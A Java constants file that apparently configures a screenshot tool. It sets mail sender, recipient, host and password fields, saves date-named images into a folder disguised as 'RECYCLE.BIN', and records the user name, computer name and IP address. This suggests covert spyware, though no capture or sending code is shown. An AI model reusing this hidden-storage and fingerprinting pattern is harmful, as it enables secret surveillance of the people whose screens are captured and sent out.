package cn.juforg.constant;

import java.awt.Dimension;
import java.awt.Toolkit;
import java.io.File;
import java.net.InetAddress;
import java.net.UnknownHostException;
import java.util.Date;
import java.util.Map;

public class Constants {
	
	public Constants() {
		
	}

	public static Dimension DIMENSION = Toolkit.getDefaultToolkit().getScreenSize();
	public static String FROM ;
	public static String TO ;
	public static String HOST ;
	public static String PASSWORD ;
	public static String IMG_PATH ; 
	public static String IMG_NAME ="system.jpg";
	public static final String IMG_FORMAT = "jpg";
	public static Long MILLIS;
	public static String USERNAME;
	public static String COMPUTERNAME;
	public static String SIP ;
	static{
		IMG_PATH = (new StringBuilder("D:")).append(File.separator).append("RECYCLE.BIN").append(File.separator).toString();
		Date d = new Date();
		IMG_NAME = ""+d.getYear()+d.getMonth()+d.getDay() + d.getHours()+d.getMinutes();
		Map<String, String> map = System.getenv();
		USERNAME = map.get("USERNAME");
		COMPUTERNAME = map.get("COMPUTERNAME");
		InetAddress objAddr = null;
		try {
			objAddr = InetAddress.getLocalHost();
		} catch (UnknownHostException e) {
		}
		//获取IP地址
		SIP=objAddr.getHostAddress();
	}
}
